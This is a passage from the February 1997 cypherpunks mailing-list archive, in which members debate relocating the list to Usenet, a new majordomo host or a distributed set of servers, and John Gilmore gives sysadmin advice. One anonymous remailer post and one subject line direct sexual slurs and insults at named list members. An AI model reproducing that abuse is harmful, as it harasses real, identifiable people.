one-key-steganography-privacy!" | Ignore the man | > |`finger -l alano at teleport.com` for PGP 2.6.2 key | behind the keyboard.| > | http://www.ctrl-alt-del.com/~alan/ |alan at ctrl-alt-del.com| > - Igor. From attila at primenet.com Tue Feb 11 11:35:28 1997 From: attila at primenet.com (Attila T. Hun) Date: Tue, 11 Feb 1997 11:35:28 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: <199702111932.MAA23647@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- tim: two points you make: 1. the propogation is slow... 2. some sites do not carry alt. groups are enough to kill an active discussion list. of course, it does slow down excessive volume. I vote we just set up a new majordomo with some additional antispam filters including knocking out exploding mail headers, etc. I would accept excluding non-members as long as we take the remailers which are listed with either JP or RL. Therefore, I am willing to host it on our majordomo which I have pretty well shaken down for other lists. other than spam and potentially non-members, I refuse to even consider censorship or moderation in any form. Likewise, Jim Choate and Sten Drescher apparently are trying to establish a multi-site majordomo. the extra work of maintaining non-duplicates and sychronization makes the task non-trivial and questionable... as for failure mode recovery, I can always run a backup from primenet; I dont really see the need for it; we have had less than 4 hours downtime in the last year, and that for a regional power failure which will be a mute point sometime this spring when the diesal generators arrive. knock on wood, but the T1 has been up straight through. == "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMwDJNb04kQrCC2kFAQGXqQQAlq5OAvJln7RdBwD758DuEBsb6kcECP+N ij1nknAm2xVXaUrhXBC/q7OQblSq3RP9l5N4nh3Wo9P50wCLqFX8D7tOZvJi+psD EfNk+tXQU5bKb1tZ06Jl4yFGqBSV0FKqeJ3FIgFNlqpdLfwG8k8OiDxUz3skw6ns 7QKjuAsPwUc= =Lw6q -----END PGP SIGNATURE----- From tcmay at got.net Tue Feb 11 11:42:21 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 11 Feb 1997 11:42:21 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: At 1:20 PM -0600 2/11/97, Igor Chudov @ home wrote: >If the people decide for creation of a new USENET newsgroup, >we need to think very hard about actually moving it to a different >hierarchy from alt.*. I would propose comp.org.cypherpunks, >comp.cypherpunks, sci.crypt.cypherpunks or something like that. > >A comp.* or sci.* newsgroup, if created, has the following advantages >over an alt.* newsgroup: > >1) There is usually less spam in sci.* or comp.* >2) There are virtually no completely irrelevant flamewars >3) The propagation will be a lot better >4) More people will be able to read it because of the issue of providers > not carrying alt.*. > >I see nothing that would make a sci.* or comp.* newsgroup worse than >alt.* newsgroup. Sure, and this has come up in every past discussion of creating "alt.cypherpunks." But the creation of alt.cypherpunks is _easy_, and needs little permission or support, whereas the creation of "soc.culture.cypherpunks" or whatever takes work, requires a vote, blah blah blah. And so it never gets off the ground. (Nor is it clear to me, and perhaps not to others, that it belongs in the the various places Igor mentioned. Comp.org.cypherpunks probably is the best fit, but then many would cite the "comp" part to try to insist that only _computer_ topics be discussed. Likewise, the "soc" domain would skew discussion...etc. "Alt" has the nice advantage of explicitly not be part of sci, or comp, or soc, or even talk.) Since posting my comments I've just seen the proposal that tivoli may host a list. Fine with me. But I wonder how long Tivoli and its parent company, IBM, will tolerate such things as postings of dumpster divings at Mykotronx and RSADSI, of deliberate slams against Tivoli products (a la the case John Gilmore referred to this morning), postings about assassination markets, and so on. I still feel that the time has come to move virtual forums such as ours out of U.S. jurisdictions. Given that most European nations are worse in some ways (no Holocaust denial posts allowed in "cypherpunks at foobar.de"?), I recommend the alt.cypherpunks as the best overall compromise. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From nobody at huge.cajones.com Tue Feb 11 11:49:27 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 11 Feb 1997 11:49:27 -0800 (PST) Subject: GAK Message-ID: <199702111949.LAA27190@mailmasher.com> Tim C[ocksucker] May is just a poor excuse for an unschooled, retarded thug. Tim C[ocksucker] May /-+-- --+X /> <\ From onlyguy at dev.null Tue Feb 11 11:54:03 1997 From: onlyguy at dev.null (The Only Guy) Date: Tue, 11 Feb 1997 11:54:03 -0800 (PST) Subject: I'm Sandy / Re: sandy who?? In-Reply-To: <199702111656.IAA22307@toad.com> Message-ID: <3300E981.280D@dev.null> anand abhyankar wrote: > i am a new addition on the mailing list. i am amazed to find that half > the mails talk about "sandy (god knows who he is) and he censoring > mails" rather than crypto stuff. > > somebody please let me know who sandy is and what exactly is this > censoring issue. anand, I am Sandy. I am also John Gilmore. I am Dr. Vulis, Greg Broiles, Dr. Vulis, Sean Roach, and Attila T. Hun. I started the cypherpunks list a few years ago, and nobody joined, so after a while, I began subscribing myself as other people and carrying on dialogues with myself, hoping to spark some interest in the list. Still, nobody subscribed, so I redoubled my efforts, and after a while, things got a little out of hand. Before I knew it, I had over 1,500 personalities integrated within the list, which was now consuming my whole life. Recently, after years of therapy, my many personas began struggling with each other for domination of my own communal mind. My therapist finally had me to the point where I was ready to be fully cured. I was ready to take the big step, and kill the list, restoring my sanity and reverting, once again, to a single personality. But now I am in a quandry. After all these years, I finally have a real subscriber to the list. So I have come to a decision. Since you are the only real subscriber to the list (besides my own 1,500 personas), I have decided that I will let you decide the future of the list. I await your decision. Sincerely, The Only Guy From tcmay at got.net Tue Feb 11 11:56:34 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 11 Feb 1997 11:56:34 -0800 (PST) Subject: List! No Way: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: At 7:11 PM +0000 2/11/97, Attila T. Hun wrote: > tim: > > two points you make: > > 1. the propogation is slow... > > 2. some sites do not carry alt. groups > > are enough to kill an active discussion list. of course, it does > slow down excessive volume. Good points. However, I'm used to fairly robust debate on Usenet, and the prop delay does not seem too stifling to me. As you note, it cuts down on immediate replies; this may not be a bad thing. I see any site which can be identified with a corporate or institutional entity--like C2Net, toad, Tivoli, Primenet, Netcom, whatever--being targetted if a controversial mailing list is hosted at that site. (This may not have been the case when the list was full unmoderated, and was only a "reflector" or exploder of incoming messages. As soon as a moderator started passing on some messages and rejecting others, the precedent was set (somewhat) for charges that a site or sysadmin is now liable. This has not been tested in court, of course, but I fear this is how things will go. As I mentioned in another message, had the traffic in alt.religion.scientology instead flowed through a site such as "scientology at primenet.com," the operators of Primenet and the sysadmin of that mailing list almost certainly would have received "decease and cyst" orders. Remember that Netcom was hit with similar orders. Usenet cannot be stopped in this way. A major strength.) > I vote we just set up a new majordomo with some additional antispam > filters including knocking out exploding mail headers, etc. I would > accept excluding non-members as long as we take the remailers which > are listed with either JP or RL. This is a suggestion I have long thought to be a good one. Only allow posts from list subscribers, and make a special exception for remailers by adding them to the approval list. Figure if a spammer is smart enough to know what a remailer is, at least see her traffic for a while. Drop the inclusion of remailers if volume is too high. (Or, put remailer messages in a special place. An ftp or Web site, for retrieval. Or have list members "vet" the remailed messages, as someone was suggesting a few months back. Or....) > Likewise, Jim Choate and Sten Drescher apparently are trying to > establish a multi-site majordomo. the extra work of maintaining > non-duplicates and sychronization makes the task non-trivial and > questionable... Yeah, it seems to be one of those potentially good ideas that will just never get done, due to the difficulties, the maintenance, and the press of other projects. (And even if it gets done, which I hope for of course, I doubt many of us will want anything with added complexity, new commands for our posting software to deal with, etc. So, it will have to look just like an ordinary mailing list, with the mirroring handled transparently.) (Speculation: Isn't some of this talk about distributed mailing list sites and mirroring beginning to echo the structure of FidoNet?) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From blancw at MICROSOFT.com Tue Feb 11 12:21:57 1997 From: blancw at MICROSOFT.com (Blanc Weber) Date: Tue, 11 Feb 1997 12:21:57 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <88CE23A0B727D0118BB000805FD47524DE137D@RED-81-MSG> From: Timothy C. May - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers to discover the group, read it for a while, then stop. It also, of course, increases the number of "What is crypto?" sorts of messages.) ........................................ In regards to the newbie questions, it occurred to me that it would be useful to have a FAQ, much shorter than the Cyphernomicon, which would get some basic questions answered and contain many collected references & web sites for all the other questions which typically have come up on the list and would certainly show up in a newsgroup. Maybe LD could be prevailed upon to write it (he's probably not occupied doing anything useful, anyway).... :>) .. Blanc From minow at apple.com Tue Feb 11 12:57:24 1997 From: minow at apple.com (Martin Minow) Date: Tue, 11 Feb 1997 12:57:24 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: *** This is for Sandy and John, not for the list itself *** Damn. Another example of the Tragedy of the Commons. I'm sorry you decided to pull the plug -- but I fully understand your reasoning. As I mentioned in an e-mail (and/or conversation a while back), I'd be happy to help with the moderation as long as (a) it doesn't prevent me from doing my "real" job and (b) we can figure out a solution to the obvious logistics problems (I'm on a Mac, not a Unix box). In any case, thanks to John and Sandy for all the hard work. Martin. From gbroiles at netbox.com Tue Feb 11 13:05:13 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 11 Feb 1997 13:05:13 -0800 (PST) Subject: Network of majordomos In-Reply-To: <199702111340.FAA18603@toad.com> Message-ID: <3.0.1.32.19970211130922.0071b8f0@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:45 AM 2/11/97 -0600, Firebeard wrote: >[...] I've already taken steps, along with Jim Choate, to >start a network of majordomos hosting a Cypherpunks mailing list. >[...] Our intention is to have a set of majordomos which >are intersubscribed to a cypherpunks list on each one, with measures >taken to ensure that mail loops don't develop. I still think you're just rediscovering Usenet technology. Instead of installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if you don't like alt.cypherpunks, you could simply start your own top-level cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're an evil CIA brain-stealing censor) so that cpunks at large could connect with newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks could do this (instead of using Majordomo) locally, connecting to each other to achieve wide propagation and low latency. And, if you must, run mail-to-news gateway(s) which send the newsgroup to people who want it as E-mail. Usenet technology does exactly what you're describing: it's a distributed database of messages designed to facilitate each server getting its own copy of every message, and holding it locally for distribution to interested readers. Other people have been kind enough to write, debug, and document the software - all you have to do is install it. This could be running tonight. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwDefP37pMWUJFlhAQGg8wf/R/XcPI7UTmiktI0ce0cR0x54O2pTr2ju WRZ3OXNV7X8xOmU8zhvj/Q6Rg0etZRmDfj9wM51mCZuOx6uh94IlFvBTpFnEz8Vg tM3zeWSt/SukyGfxRLkrRYF4GMU5eKEYBYI7p/3q6WioYBk4JI22EeAyr5Cn+1IA icMJhCpfUE6P1YoC+7zPh+Kbp8Ny3tCtry/axsSZfVRsBZr2M33VONe47quC1l5A CBEEllkeSZey6VfAhrBxLOGiD42evx/TYU1yeR2bhcHUcQ0e5MTR8o8eDBoreuXF ntT9vD0Ov0BEhP2j5r6xC6WcFX0iEynxwErC3nNURPE5CPCoRXws/w== =w4Av -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From pdh at best.com Tue Feb 11 14:08:53 1997 From: pdh at best.com (Peter Hendrickson) Date: Tue, 11 Feb 1997 14:08:53 -0800 (PST) Subject: Network of majordomos Message-ID: At 1:09 PM 2/11/1997, Greg Broiles wrote: >At 10:45 AM 2/11/97 -0600, Firebeard wrote: >> [...] I've already taken steps, along with Jim Choate, to >> start a network of majordomos hosting a Cypherpunks mailing list. >> [...] Our intention is to have a set of majordomos which >> are intersubscribed to a cypherpunks list on each one, with measures >> taken to ensure that mail loops don't develop. > I still think you're just rediscovering Usenet technology.... > And, if you must, run mail-to-news gateway(s) which send the newsgroup to > people who want it as E-mail. > Usenet technology does exactly what you're describing:... How about this? The people who like Usenet should race ahead and set it up. The people who like networks of majordomos should race ahead and set those up. Just so long as the tracks meet somewhere in Utah. The more people are involved with distributing the "list" the more robust it will be. Peter Hendrickson pdh at best.com From rah at shipwright.com Tue Feb 11 14:09:03 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 14:09:03 -0800 (PST) Subject: Mac-Crypto 1997 session Schedule Message-ID: --- begin forwarded text Sender: mac-crypto at thumper.vmeng.com Reply-To: Vinnie Moscaritolo Mime-Version: 1.0 Precedence: Bulk Date: Tue, 11 Feb 1997 13:43:19 -0800 From: Vinnie Moscaritolo To: Multiple recipients of Subject: Mac-Crypto 1997 session Schedule hey all; I have posted a preliminary list of sessions for the 1997 Mac-Crypto conference at the Mac-Crypto conference at the webpage http://www.vmeng.com/mc/conf.html if you haven't registered, please get your name in now! if you want to give a talk, please drop me a line asap. Vinnie Moscaritolo http://www.vmeng.com/vinnie/ Fingerprint: 4FA3298150E404F2782501876EA2146A ------------------------------------------------------- ...I know what probably happened. A new high-level manager at Apple picked up some old dusty videotape off the shelf, labelled "Super Bowl 1984", played it and said, "Yah know, that guy on the screen was making a hell of a lot of sense until that trouble-maker smashed it!" --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From pjm at spe.com Tue Feb 11 14:24:58 1997 From: pjm at spe.com (Patrick May) Date: Tue, 11 Feb 1997 14:24:58 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702111340.FAA18603@toad.com> Message-ID: <199702112210.OAA01556@gulch.spe.com> John Gilmore writes: [ . . . ] > Either you list denizens will, among yourselves, put in the energy to > build a new home for the list (and run it in whatever way your > volunteers want) by Feb 20, or the list will cease to exist on Feb 20. [ . . . ] Denizens, I can provide a pentium box running Linux with a T1 connection to MAE-West to host the list, if there is still interest. The domain name would be hidden.net (reserved in anticipation of running a remailer). I'd use majordomo. Before doing this, I'd need the answers to a few questions: - Is there still any interest in a cypherpunks mailing list? - Is alt.cypherpunks a better alternative? - Should posting to the list be limited to subscribers? Naturally, one could subscribe from a nym.alias.net account. - Majordomo can be configured to require confirmation of subscription requests, thus avoiding some attacks. Is there any simple way to protect against mailloops? Directly accessing the listname-outgoing alias? - Is a pentium up to the task of running a list of this size and volume? Let me know what you think. Regards, Patrick May From bryce at digicash.com Tue Feb 11 14:31:56 1997 From: bryce at digicash.com (Bryce) Date: Tue, 11 Feb 1997 14:31:56 -0800 (PST) Subject: NETLINK_IPSEC In-Reply-To: <199702111411.GAA19349@toad.com> Message-ID: <199702112231.XAA26149@digicash.com> -----BEGIN PGP SIGNED MESSAGE----- > Has anyone tried IPSEC with the 2.1.x kernels? Are there a logcation that > describes the differences between 2.0.x and 2.1.x? (I have not been able to > find one...) Then again, I have yet to find a list of what was fixed from > kernel to kernel... (Probibly in some directory of the tar file...) Source 1: ftp://ftp.shout.net/pub/users/mec/kcs Source 2: The patch files. :-) Regards, Bryce, not a kernel hacker PGP sig follows -----BEGIN PGP SIGNATURE----- Version: 2.6.2i Comment: Auto-signed under Unix with 'BAP' Easy-PGP v1.1b2 iQB1AwUBMwDzRUjbHy8sKZitAQE5OQL/X/Uv6oIJTQqWsVzRVTF8slnMBZa9sByj ld4mHGvfn7lwQXmdWk7OOngRWum38ZysjRxRk7R5OtULhRsUxRjIe2FhTXFn3v/O nKxHOTmbbwvz/flovkg7cUFeIk/7iCEl =ucy1 -----END PGP SIGNATURE----- From rah at shipwright.com Tue Feb 11 14:41:05 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 14:41:05 -0800 (PST) Subject: alt.cypherpunks Message-ID: Hey, folks, I thought all you had to do to create an alt.group was to have a news admin somewhere just make a group; send out a control message of somekind. I thought that alt groups didn't have to go through a charter, or voting process, or anything else. They just happened. Then, everyone just has to tell their local news admin that they went to see it, or they can wait until their news admin sees it flying by, and adds it to the available groups list at his own discretion. It's not like we want comp.cypherpunks or something, with a voting process, right? Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From abostick at netcom.com Tue Feb 11 14:42:25 1997 From: abostick at netcom.com (Alan Bostick) Date: Tue, 11 Feb 1997 14:42:25 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: <199702111721.JAA22739@toad.com> Message-ID: The ways of the alt.* hierarchy are such that it would be best if at least some of this discussion were made in alt.config . Virtually anyone can issue a newgroup message. The trick is to issue one that newsadmins will honor. That purpose will be well served by proposing and discussing the group in alt.config . Issues that sway newsadmins there include: The perception of need: The high volume of cypherpunks traffic plus the impending loss of its home on toad.com should be sufficient. "Proper" naming. Unless one is anticipating a growth of alt.cypherpunks.* newsgroups in the future (alt.cypherpunks.flames? alt.cypherpunks.sources? etc.) new alt.* newsgroups are better received if they don't have top-level names. Using existing top-level hierarchies is better (e.g. alt.security.cypherpunks or alt.privacy.cypherpunks). It is best to have a name likely to be considered well-formed already in mind when one makes the initial proposal, because bickering about naming can distract from the actual merits of the proposal. Tim's proposed charter is a fine start, and probably needs little or no modification. I say it's a fine idea. Who bells the cat? Alan Bostick | My conclusion is that this is most likely an | exceptionally well executed fake. It remains the mailto:abostick at netcom.com | most authentic alien image that I have ever seen. news:alt.grelb | Whitley Strieber http://www.alumni.caltech.edu/~abostick From roach_s at alph.swosu.edu Tue Feb 11 15:09:46 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 11 Feb 1997 15:09:46 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702112309.PAA28849@toad.com> What about totally uncentralized. Instead of using a system like majordomo.com, each person maintain a list of "subscribers", I would be willing to at least attempt to be one lightening rod for "subscriptions". Since I am using the schools machine to read the list, and I don't have any extra priveledge, I would have to do it manually and might quickly stop, but I would be willing to try. In this way, everyone is moderately censored by the processor time expended in mailing a message CC:'d to everyone, but no one could effectively do any type of blocking of the list. Those acting in the place of majordomo could regularly trade lists for alphabetization, (so that the lists should be identical), and file comparing. This list could then be sent to anyone who wanted to be a "subscriber" so that they could post as well. A more effective way would be to have the distributed list as previously discussed, or even maintain one account or web-page to hold the names, but I can't help with that. Just an idea. One small problem, with such a list, advertisers may feel less obligated to follow standard rules of ettiquite. They may feel that the list is even more "open season" than they as a group feel now. I hope that everyone will post to this thread as I would like to be able to "fall in" with the majority decision. To do that, there needs to BE a majority decision. From gnu at toad.com Tue Feb 11 15:10:22 1997 From: gnu at toad.com (John Gilmore) Date: Tue, 11 Feb 1997 15:10:22 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702112210.OAA01556@gulch.spe.com> Message-ID: <199702112310.PAA28883@toad.com> > - Is a pentium up to the task of running a list of this size and > volume? A pentium is definitely up to this task. I've been running it the whole time on a slower 40MB SPARCstation-2 (that also runs netnews and general computing). Give it a big /var/spool partition (mine is 60MB) because every message will sit in the queue for days (*somebody* on the list will have an unreachable name server or MX server until the msg times out). Give it lots of RAM and paging space, since each sendmail process takes about 2MB virtual, 1.4MB physical, and you will have dozens running at the same time. The new version of majordomo (that allows confirmation of subscriptions) will help a lot. It needs a small patch though, to do exponential backoff on the lock file, or when you get a flood of messages, thirty majordomo processes will burn up the whole machine trying and failing to get the lock file. You'll need a BIG mailbox for the bounce messages, and someone (or some unwritten software) to scan it every day or two and delete the lusers whose mailboxes are full or who dumped their account without unsubscribing. The bounce mailbox on toad gets between 1 and 4MB of email a day; more when the list is under attack. You'll want to run the latest version of BIND on the machine, too, since doing DNS name-lookups on a thousand email addresses is expensive. You want them all in the in-memory cache on the same machine. The name daemon burns about 7MB virtual, 5MB real RAM once its cache gets loaded. Make sure that every message sent to the list gets into at least two logfiles -- on separate partitions, in case one fills up. At least if you want to have an archive of what's been sent. > I can provide a pentium box running Linux with a T1 connection to > MAE-West to host the list, if there is still interest. Make sure you are getting "transit" service to the Internet, instead of trying to cheap out with "peering" to a few major networks. Without transit service ("we'll carry your packets to anywhere even if the destination is not on our network") you won't be able to route packets to some places on the net. This will cause mail to those subscribers to sit in the queue for days and then bounce. The real issue is how willing you are to put your own time into dealing with problems. Not only do things go wrong by themselves, but there are malicious assholes in the world who will deliberately make trouble for you just because they like to. Spending a day or two cleaning up the mess is just part of the job. Check your level of committment two or three times before taking on the task -- so you won't end up getting disgusted after a month or two and putting the list's existence into crisis again. It's not a "set it up and forget it" kind of operation. John From das at razor.engr.sgi.com Tue Feb 11 15:10:25 1997 From: das at razor.engr.sgi.com (Anil Das) Date: Tue, 11 Feb 1997 15:10:25 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" In-Reply-To: Message-ID: <9702111503.ZM29725@razor.engr.sgi.com> On Feb 11, 2:42pm, Alan Bostick wrote: > new alt.* newsgroups are better > received if they don't have top-level names. Using existing top-level > hierarchies is better (e.g. alt.security.cypherpunks or > alt.privacy.cypherpunks). I agree that alt.privacy.cypherpunks is the best bet, if alt.group is the route we go. -- Anil Das From jer+ at andrew.cmu.edu Tue Feb 11 15:29:31 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Tue, 11 Feb 1997 15:29:31 -0800 (PST) Subject: Cocksucker Gilmore's Big Adventure In-Reply-To: <199702111854.KAA28289@netcom13.netcom.com> Message-ID: <0n0E2U200YUe06aDk0@andrew.cmu.edu> -----BEGIN PGP SIGNED MESSAGE----- mpd at netcom.com (Mike Duvos) writes: > John Gilmore writes: > > Sandy has agreed to continue moderation through the end of the > > original 1-month experiment (through Feb 19). And it's a good > > thing, too, because the "cypherpunks community" had better get > > off its whining butt in the next ten days, or it will no longer > > exist. > > Ten days notice to relocate a high volume mailing list is > insufficient. This is yet another ultimatum by a whining coward > who does not yet realize he is in a battle he is not going to win > by escalation of reciprocal pissing. You know, I was vaugley offended by John's comments about whiny cypherpunks, until I read this message and realized who he was talking about. John, thank you for your years of service to the cypherpunk community 9such as it is), and Sandy, thanks for your well-intentioned (but doomed from day one) efforts to take some resopnsibility for our current mess. It's too bad things had to end in such a pissy way, but anyone who wants to dole out blame should realize that in an anarchy, all members are responsible for the maintainence of freedom. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMwEAm8kz/YzIV3P5AQHEagL8Co832vJ75u3U0zfEYp8ixZ1yGM1sx4jQ Aybf55rSeeCUVIOpxgWL03NHEm2+5l9eIAg6qxbne4UZpURu79suMJGe1i5p8ekT UIJsRRZTpq6OVr9w86uJHl3HDvaM9CnK =SeWH -----END PGP SIGNATURE----- From roach_s at alph.swosu.edu Tue Feb 11 15:59:34 1997 From: roach_s at alph.swosu.edu (Sean Roach) Date: Tue, 11 Feb 1997 15:59:34 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702112359.PAA29858@toad.com> At 10:45 AM 2/11/97 -0600, Firebeard wrote: >>>>>> John Gilmore writes: > >JG> Sandy has agreed to continue moderation through the end of the >JG> original 1-month experiment (through Feb 19). And it's a good >JG> thing, too, because the "cypherpunks community" had better get off >JG> its whining butt in the next ten days, or it will no longer exist. > >[...] > >JG> This is a "put up or shut up" to the cypherpunks community. > > This appears to be as good a time as any to announce that I'm >"putting up". I've already taken steps, along with Jim Choate, to >start a network of majordomos hosting a Cypherpunks mailing list. I >didn't intend to announce this until Jim and I had gotten the first >pair of 'domos working properly, but this means that we'll need to >speed things up. Our intention is to have a set of majordomos which >are intersubscribed to a cypherpunks list on each one, with measures >taken to ensure that mail loops don't develop. As the resulting >mailing list from each 'domo will be identical, periodically >(initially weekly), the subscriber lists of all of the participating >majordomos will be compared, with any duplicate subscribers being >removed from the 'domo(s) with the longest subscriber list.... You might want to set up a temporary majordomo on the same machine as one of the permanent daemons for debugging purposes. It is conceivable to me that a message might be sent to one sub-list, be forewarded to two lists, and then each of those foreward the same message to each other, causing duplication. You might get around this if the daemons keep track of each others, unique, message ID numbers. In other words, if each unit were to apend the message ID with a personal ID number when the message came from someone other than a majordomo, then they could collate them by number, eliminate duplications, and send them on down the line. To do this, the majordomo daemons will probably have to have a guaranteed seat in the front of the cue. This is probably a stupid point to bring up as you have probably already cured this problem, but I decided to post it anyway. From ravage at einstein.ssz.com Tue Feb 11 16:21:13 1997 From: ravage at einstein.ssz.com (Jim Choate) Date: Tue, 11 Feb 1997 16:21:13 -0800 (PST) Subject: NEW CYPHERPUNKS LIST (was Re: Moderation experiment almost over; "put up or shut up") (fwd) Message-ID: <199702120027.SAA08451@einstein> Forwarded message: > Date: Tue, 11 Feb 1997 18:49:46 GMT > From: Adam Back > > > This appears to be as good a time as any to announce that I'm > > "putting up". I've already taken steps, along with Jim Choate, to > > start a network of majordomos hosting a Cypherpunks mailing list. I > > didn't intend to announce this until Jim and I had gotten the first > > pair of 'domos working properly, but this means that we'll need to > > speed things up. Our intention is to have a set of majordomos which > > are intersubscribed to a cypherpunks list on each one, with measures > > taken to ensure that mail loops don't develop. > I'll contribute what I had planned: > > As a stop gap measure you could create a standard majordomo at the > beefiest of your 'domo hosts. While it is true I was planning on bringing the Austin Cpunks remailer back (kourier.ssz.com) this rather unexpected expansion has got me backpedalling. So it looks like it will take about 3 weeks to get the intial site ready for public access. Right now my ISDN based site is all we have working. We have another site through another ISP in the process of registering and configuration. I have currently created a 'cypherpunks at ssz.com' but still have a couple of other issues to work out. The most relevant one is that I will be upgrading both Linux and Majordomo in approx. 2 weeks. We will be discussing this issue further on Saturday at the Austin Cypherpunks meeting. If all goes well with our discussion and my upgrade we should have the SSZ cypherpunks site available in about 2 weeks. Sten and I hope that we can pursuade some others to get involved both running remailers as well as modifying the various scripts. At this point everything we do will be released to the public domain. We also are expecting to add a proviso that all submissions to the cpunks distributed remailer will be de facto public domain unless a specific 'fair use' header is included in each submission. Finaly, another issue that will slow me down is the upcoming SRL show here in Austin. I have committed time and effort so I don't know yet how the conflicts will come or how I will resolve them. The next SRL planning meet is Thu. nite so I will have a clearer idea of my upcoming schedule. > Or you could create a quick 'n dirty mail exploder, by taking the > current subscribers, and putting 100 mail addresses in a .forward file [much good comments cut out] > Final comment: perhaps you've investigated this, but what Perry > Metzger has for the majordomo running cryptography at c2.net is excellent > at stopping people forging subscribe and unsubscribe messages. > > And would really cut down the nuisance of people subscribing others > without their knowledge. These are several of the issues that we will be discussing this Saturday. We will also be looking at various means to distribute the subscriber list. The current lead suggestion is to have subscriptions at any of the cpunks be evenly distributed among them. This would somewhat complicate the subscriber process. Another aspect that I am hot to trot on is setting the system up so that some of the cpunks sites could be anonymous, crypto, or combo remailers as well. Jim Choate CyberTects ravage at ssz.com From shamrock at netcom.com Tue Feb 11 16:27:24 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 11 Feb 1997 16:27:24 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <3.0.32.19970211162359.006d17e8@192.100.81.136> At 09:15 AM 2/11/97 -0800, Timothy C. May wrote: >- propagation is often spotty, and some sites have no access at all to the >"alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many >academic sites block just the alt.binaries.pictures heirarchy. Etc. A news >to mailing list gateway is possible for these readers.) Everybody with a web browser has access to alt newsgroups via http://www.dejanews.com/ -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From shamrock at netcom.com Tue Feb 11 16:27:25 1997 From: shamrock at netcom.com (Lucky Green) Date: Tue, 11 Feb 1997 16:27:25 -0800 (PST) Subject: STE_pup Message-ID: <3.0.32.19970211162704.006cebec@192.100.81.136> At 11:39 AM 2/11/97 -0500, John Young wrote: > Oracle's new fingerprint checking device to assure bona fide > log-on privileges. Covers other such devices, quotes a maker: > "if criminals or hackers get through these, industry will > step up one more level." Fingerprint readers tend to work regardless if the finger is attached to a body or not. All that fingerprint readers will do is increase the damage to those relying on ever increasing, but misguided, methods of authentication. See the rise in "identity theft" since SSN's began to be used for identification. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From ichudov at algebra.com Tue Feb 11 16:27:30 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 11 Feb 1997 16:27:30 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" Message-ID: <199702120027.QAA00326@toad.com> linux with 16 MB ram will probably get you through. igor Alan Olsen wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > At 05:50 AM 2/11/97 -0800, Sandy Sandfort wrote: > >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > SANDY SANDFORT > > . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . > > > 